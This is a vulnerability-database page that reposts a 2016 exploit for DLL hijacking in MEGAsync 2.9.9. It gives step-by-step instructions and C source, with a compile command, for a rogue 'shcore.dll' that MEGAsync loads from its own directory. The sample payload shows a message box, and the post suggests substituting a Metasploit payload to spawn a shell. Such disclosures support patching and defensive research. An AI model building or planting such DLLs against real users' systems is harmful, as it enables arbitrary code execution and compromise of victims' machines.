Lucene search
K

MEGAsync 2.9.9 DLL Hijacking

🗓️ 29 Aug 2016 00:00:00Reported by Amir.ghtType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

MEGAsync 2.9.9 DLL Hijacking Exploit on Windows

Code
`# Exploit Title: MEGAsync DLL Hijacking Exploit (shcore.dll)  
# Date: 27-8-2016  
# Author: Amir.ght  
# Vendor Homepage: https://mega.nz  
# Software Link:  
https://mega.nz/MEGAsyncSetup.exe  
# Version: 2.9.9  
# Tested on:Windows 7  
----------------------------------------------------------------------------------------------------------  
Vuln DLL: shcore.dll  
  
MEGAsync.exe will search for an load any DLL named "shcore.dll".  
If an attacker can place the DLL in a location  
where victim open MEGAsync.exe it will load and run the attackers DLL  
and code.  
also can generate a msfpayload DLL and spawn a shell, for example.  
  
----------------------------------------------------------------------------------------------------------  
# Exploit:   
1- Save and compile below C code as 'shcore.dll' to create vuln DLL  
  
2- Place 'shcore.dll' on Same Directory of MEGAsync  
  
3- Open MEGAsync.exe :DLL  
  
//gcc test.c -o shcore.dll -shared  
//this dll show a message box   
#include <windows.h>  
#define DllExport __declspec (dllexport)  
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
dll_hijack();  
return 0;  
}  
  
int dll_hijack()  
{  
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);  
return 0;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Aug 2016 00:00Current
0.2Low risk
Vulners AI Score0.2
24